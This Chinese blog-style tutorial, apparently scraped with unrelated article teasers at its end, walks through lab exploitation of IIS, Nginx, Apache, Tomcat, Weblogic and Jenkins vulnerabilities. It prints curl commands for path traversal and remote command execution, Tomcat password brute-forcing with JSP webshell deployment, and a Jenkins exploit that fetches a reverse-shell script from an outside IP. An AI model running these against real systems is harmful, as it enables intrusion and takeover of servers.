当前位置: 首页 > news >正文

中间件安全

IIS

IIS短文件漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

利用工具

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析漏洞

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析

  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析

    如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
  2. 应用场景:配合文件上传获取Webshell

Nginx

DNS解析漏洞(cve-2021-23017)

受影响版本:0.6.18-1.20.0

**poc地址:**https://github.com/M507/CVE-2021-23017-PoC

在这里插入图片描述

复现失败

文件名逻辑漏洞(cve-2013-4547)

受影响版本:0.8.41 ~ 1.4.3 /1.5.0 ~ 1.5.7

\0也就是c语言的结束符的意思,之后我们的通过我们的\0将这个文件名截断成我们的fastcgi认为他到1.gif就结束了,之后对上传的文件进行检查,发现他没有以php结尾,就将这个文件上传上去,然后我们的php-fpm.conf的安全后缀策略(security.limit_extensions = )是空的,之后他就会执行我们上传的1.gif \0.php文件。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

测试
在这里插入图片描述

在这里插入图片描述

测试

在这里插入图片描述

成功

解析漏洞(配置不当)

我们在配置php.ini的时候,开启了我们的自动修复路径(cgi.fix_pathinfo=1),也就是我们访问http://127.0.0.1/test.jpg/test.php,由于没有test.php这个文件我们服务器会自动到上一个路径,发现有test.jpg于是就自己执行了这个文件,但是由于我们在配置php-fpm.conf的安全后缀策略(security.limit_extensions = jpg php )为空或者就只有jpg和php,我们的服务就会执行jpg和php,我们的test.jpg里面就是我们的恶意的php代码,之后通过解析为php文件就导致了我们执行该文件,从而产生了我们的漏洞。

假如下图是上传了包含<?phpinfo();?>的图片

在这里插入图片描述

在后面添加/.php后缀,就会被解析为php

在这里插入图片描述

Apache

目录穿越&命令执行(cve-2021-41773)

版本影响:2.4.49、2.4.50

可见靶场的apache版本满足漏洞版本

在这里插入图片描述

目录穿越

curl -v --path-as-is http://ip:port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

在这里插入图片描述

RCE

curl --data “echo;id” http://ip:port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

在这里插入图片描述

在这里插入图片描述

文件解析(cve-2017-15715)

版本影响:2.4.0-2.4.29

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

上传成功

Tomcat

弱口令getshell

影响版本:全版本

弱口令部署war包getshell

在这里插入图片描述

点击【manager app】弹出后台登录框

在这里插入图片描述

抓包爆破

在这里插入图片描述

标记加密的位置

在这里插入图片描述

选择自定义迭代器

在这里插入图片描述

位置一填用户名

在这里插入图片描述

位置二填:

在这里插入图片描述

位置三填密码

在这里插入图片描述

payload处理选择base64加密

在这里插入图片描述

爆破成功

在这里插入图片描述

用户名:tomcat 密码:qwe123

在这里插入图片描述

登录成功

在这里插入图片描述

生成jsp一句话木马

在这里插入图片描述

将jsp木马zip压缩后更改后缀为war 生成war包

在这里插入图片描述

部署war包

在这里插入图片描述

链接成功

在这里插入图片描述

文件上传(cve-2017-12615)

影响版本:7.0.0-7.0.81

使用PUT方法请求 将木马放入数据内,即可上传

三种构造url方式:

PUT /x.jsp/

PUT /x.jsp%20

PUT /x.jsp::$DATA

前两种针对linux 第三种针对windows

在这里插入图片描述

返回201即是上传成功

文件包含(cve-2020-1938)

影响版本:6.* 、7.*<7.0.100、8.*<8.5.51、9.*<9.0.31

工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

读取WEB-INF/web.xml文件

在这里插入图片描述

Weblogic

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

在这里插入图片描述

Jenkins

默认端口:8080

Jenkins-CI远程代码执行(cve-2017-1000353)

影响版本:Jenkins <= 2.56 Jenkins LTS <= 2.46.1

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

[外链图片转存中...(img-2Q7bVCLi-1731337062708)]
再使用python的exp执行
在这里插入图片描述
shell反弹成功
在这里插入图片描述

远程命令执行(cve-2018-1000861)

影响版本:Jenkins <= 2.153 Jenkins LTS <= 2.138.3

工具下载:https://github.com/orangetw/awesome-jenkins-rce-2019

先将反弹shell的命令放在自己公网服务器上

在这里插入图片描述

python2 exp.py http://123.58.224.8:31731 “curl -o /tmp/1.sh http://117.72.120.22/qdy.txt”
在这里插入图片描述

可以看见qdy.txt文件被目标服务器请求了
在这里插入图片描述

执行反弹shell命令
在这里插入图片描述

在这里插入图片描述

成功接收shell

相关文章:

中间件安全

IIS IIS短文件漏洞 此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。 利用工具 https…...

Zabbix中文监控指标数据乱码

1&#xff09;点击主机&#xff0c;选择Zabbix server 中的 图形 一项&#xff0c;可以看到当前显示的为乱码 2&#xff09; 下载字体文件&#xff1a; https://gitcode.com/open-source-toolkit/4a3db/blob/main/SimHei.zip 解压unzip -x SimHei.zip 3&#xff09; 替换字体文…...

【AI】AI如何赋能软件开发流程

方向一&#xff1a;流程与模式介绍【传统软件开发 VS AI参与的软件开发】 传统软件开发流程 传统软件开发流程一般可以分为以下几个阶段&#xff1a; 1. 需求分析&#xff1a;在这个阶段&#xff0c;开发团队与客户沟通&#xff0c;明确软件的需求和目标。团队会收集、整理和分…...

恒创科技:什么是 RAID 3 ? RAID 3、4 和5之间有什么区别?

RAID 是一种存储数据以提高性能并减少数据丢失的特定技术。您可以根据自己的需求选择多种 RAID 类型。RAID 3 是列表中比较有效的类型之一。本文将重点介绍这种特定的 RAID 技术&#xff0c;并比较 RAID 3、4 和 5。 RAID 3 的定义 RAID 3 是一种特定的磁盘配置&#xff0c;用于…...

python获取iOS最近业务日志的两种方法

当iOS UI自动化用例执行失败的时候&#xff0c;需要获取当时的业务日志&#xff0c;供后续分析使用。 现在已经把iOS沙盒目录挂载到本地&#xff0c;剩下的事情就是从沙盒目录中捞取当前的日志&#xff0c;沙盒中的日志文件较大&#xff0c;整体导出来也可以&#xff0c;但是会…...

【如何获取股票数据43】Python、Java等多种主流语言实例演示获取股票行情api接口之沪深指数历史交易数据获取实例演示及接口API说明文档

最近一两年内&#xff0c;股票量化分析逐渐成为热门话题。而从事这一领域工作的第一步&#xff0c;就是获取全面且准确的股票数据。因为无论是实时交易数据、历史交易记录、财务数据还是基本面信息&#xff0c;这些数据都是我们进行量化分析时不可或缺的宝贵资源。我们的主要任…...

ESLint 使用教程(一):从零配置 ESLint

前言 在现代前端开发中&#xff0c;代码质量和风格一致性是团队合作和项目维护的重要因素。而 ESLint 作为一款强大的 JavaScript 静态代码分析工具&#xff0c;能够帮助开发者发现和修复代码中的潜在问题。本文将详细介绍 ESLint 的常用规则配置&#xff0c;并结合实际应用场…...

openssl对称加密代码讲解实战

文章目录 一、openssl对称加密和非对称加密算法对比1. 加密原理2. 常用算法3. 加密速度4. 安全性5. 应用场景6. 优缺点对比综合分析 二、代码实战代码说明&#xff1a;运行输出示例代码说明&#xff1a;注意事项 一、openssl对称加密和非对称加密算法对比 OpenSSL 是一个广泛使…...

web前端动画按钮(附源代码)

效果图 源代码 HTML部分 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title> …...

go函数传值是值传递?还是引用传递?slice案例加图解

先说下结论 Go语言中所有的传参都是值传递&#xff08;传值&#xff09;&#xff0c;都是一个副本&#xff0c;一个拷贝。 值语义类型&#xff1a;参数传递的时候&#xff0c;就是值拷贝&#xff0c;这样就在函数中就无法修改原内容数据。 基本类型&#xff1a;byte、int、bool…...

PostgreSQL数据库笔记

PostgreSQL 是什么 PostgreSQL&#xff08;简称Postgres或PG&#xff09;是一个功能强大、可靠性高、可扩展性好的开源对象-关系数据库服务器&#xff08;ORDBMS&#xff09;&#xff0c;它以加州大学伯克利分校计算机系开发的POSTGRES版本4.2为基础。 发展历程 起源与发展&a…...

财务软件源码SaaS云财务

在如今的商业环境中&#xff0c;准确的财务管理是一家企业取得成功的关键。然而&#xff0c;传统的财务管理方法已经无法满足现代企业的需求&#xff0c;需要一个全新的解决方案。推出了全新的财务软件为您提供完美的解决方案。 选择财务软件源码&#xff0c;您将享受到以下优…...

Elasticsearch集群和Kibana部署流程

搭建Elasticsearch集群 1. 进入Elasticsearch官网下载页面&#xff0c;下载Elasticsearch 在如下页面选择Elasticsearch版本&#xff0c;点击download按钮&#xff0c;进入下载页面 右键选择自己操作系统对应的版本&#xff0c;复制下载链接 然后通过wget命令下载Elastics…...

丹摩征文活动 | 丹摩智算:大数据治理的智慧引擎与实践探索

丹摩DAMODEL&#xff5c;让AI开发更简单&#xff01;算力租赁上丹摩&#xff01; 目录 一、引言 二、大数据治理的挑战与重要性 &#xff08;一&#xff09;数据质量问题 &#xff08;二&#xff09;数据安全威胁 &#xff08;三&#xff09;数据管理复杂性 三、丹摩智算…...

【Django】Clickjacking点击劫持攻击实现和防御措施

Clickjacking点击劫持 1、clickjacking攻击2、clickjacking攻击场景 1、clickjacking攻击 clickjacking攻击又称为点击劫持攻击&#xff0c;是一种在网页中将恶意代码等隐藏在看似无害的内容&#xff08;如按钮&#xff09;之下&#xff0c;并诱使用户点击的手段。 2、clickj…...

Ansys Zemax | 手机镜头设计 - 第 4 部分:用LS-DYNA进行冲击性能分析

该系列文章将讨论智能手机镜头模组设计的挑战&#xff0c;从概念和设计到制造和结构变形分析。本文是四部分系列中的第四部分&#xff0c;它涵盖了相机镜头的显式动态模拟&#xff0c;以及对光学性能的影响。使用Ansys Mechanical和LS-DYNA对相机在地板上的一系列冲击和弹跳过程…...

工具收集 - java-decompiler / jd-gui

工具收集 - java-decompiler / jd-gui 参考资料 用法&#xff1a;拖进来就行了 参考资料 https://github.com/java-decompiler/jd-gui 脚本之家&#xff1a;java反编译工具jd-gui使用详解...

《无线重构世界》射频模组演进

射频前端四大金刚 射频前端由PA、LNA、滤波器、开关“四大金刚” 不同的模块有自己的工艺和性能特点 分层设计 射频前端虽然只由PA、LNA、开关、混频器4个模块构成&#xff0c;但不同模块之间相互连接且相互影响。如果将射频系统当成一个整体来理解&#xff0c;其中的细节和…...

渗透测试---docker容器

声明&#xff1a;学习素材来自b站up【泷羽Sec】&#xff0c;侵删&#xff0c;若阅读过程中有相关方面的不足&#xff0c;还请指正&#xff0c;本文只做相关技术分享,切莫从事违法等相关行为&#xff0c;本人一律不承担一切后果 目录 一、Docker的作用与优势 二、docker的核心…...

【go从零单排】Atomic Counters原子计数

&#x1f308;Don’t worry , just coding! 内耗与overthinking只会削弱你的精力&#xff0c;虚度你的光阴&#xff0c;每天迈出一小步&#xff0c;回头时发现已经走了很远。 &#x1f4d7;概念 在 Go 语言中&#xff0c;原子计数器&#xff08;Atomic Counters&#xff09;是…...

VSCode中python插件安装后无法调试

问题 VSCode中python插件安装后无法调试&#xff0c;如下&#xff0c;点击调试&#xff0c;VScode中不报错&#xff0c;也没有调试 解决方法 1、查看配置 打开所在路径 2、拷贝 将整个文件夹拷贝到vscode默认路径下 3、问题解决 再次调试&#xff0c;可以正常使用了…...

用react实现radio同时关联proform组件

实现&#xff1a; <ProFormRadio.GroupradioType{button}name{[bodyConfig, format]}label"请求体格式"initialValue{json}options{createTabs}fieldProps{{buttonStyle: solid,wrapperMarginInlineEnd: 20,onChange: e > {let v e.target.value;databaseMod…...

Objective-C 1.0和2.0有什么区别?

Objective-C ObjC比较小众&#xff0c;在1980年左右由Stepstone公司的Brad Cox和Tom Love发明。后来NeXT公司获得ObjC语言使用权&#xff0c;再后来到1996年NeXT被苹果公司收购也变成苹果公司使用&#xff0c;Mac市场占有率本身就不高&#xff0c;ObjC没有太多程序员。在移动互…...

TCP连接如何保障数据传输安全

TCP连接保障数据传输安全主要通过以下几个机制实现&#xff1a; 1、建立连接&#xff1a;TCP通过三次握手过程建立连接&#xff0c;确保通信双方实体真实存在&#xff0c;为后续的可靠数据传输打下基础。 2、序号机制&#xff1a;TCP为每个传输的数据包分配一个序号&#xff…...

【论文复现】ChatGPT多模态命名实体识别

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀ChatGPT ChatGPT辅助细化知识增强&#xff01;1. 研究背景2. 模型结构和代码3. 任务流程第一阶段&#xff1a;辅助精炼知识启发式生成第二阶段…...

管理 Elasticsearch 变得更容易了,非常容易!

作者&#xff1a;来自 Elastic Ken Exner Elasticsearch 用户&#xff0c;我们听到了你的心声。管理 Elasticsearch 有时会变得很复杂&#xff0c;面临的挑战包括性能调整、问题检测和资源优化。我们一直致力于简化你的体验。今天&#xff0c;我们宣布了自收购 Opster 以来的一…...

SynchronousQueueworkQueue.offer() 和 poll() 方法的超时控制及线程池的讨论

2024.11.12 11:26 问&#xff1a;workQueue.offer(command) 这里 workQueue.poll(keepAlive, TimeUnit.NANOSECONDS) : 这里的 workQueue.offer(command) 没有超时时间控制&#xff1f; Claude 3.5 Haiku 非常好的问题&#xff01;我来详细解释 offer() 和 poll() 方法的区别…...

自动驾驶---“火热的”时空联合规划

1 背景 早期的不少规划算法都是横纵分离的(比如Apollo),先求解path之后,依赖path的结果再进行speed的求解。这种横纵解耦的规划方式具有以下特点: 相对较为简单,计算量通常较小,容易实现实时性要求。但是由于分别规划横向和纵向运动,可能会忽略两者之间的耦合关系,导致…...

命令行工具进阶指南

&#x1f680; 命令行工具进阶指南&#xff1a;Git、Shell与效率工具的进阶之路 掌握命令行工具&#xff0c;让你的开发效率突飞猛进。本文将深入探讨 Git 高级技巧、Shell 脚本自动化以及各种效率倍增的 CLI 工具。 &#x1f4d1; 目录 Git 高级技巧与工作流Shell 脚本自动化…...

扫雷游戏代码分享(c基础)

hi , I am 36. 代码来之不易&#x1f44d;&#x1f44d;&#x1f44d; 创建两个.c 一个.h 1&#xff1a;test.c #include"game.h"void game() {//创建数组char mine[ROWS][COLS] { 0 };char show[ROWS][COLS] { 0 };char temp[ROWS][COLS] { 0 };//初始化数…...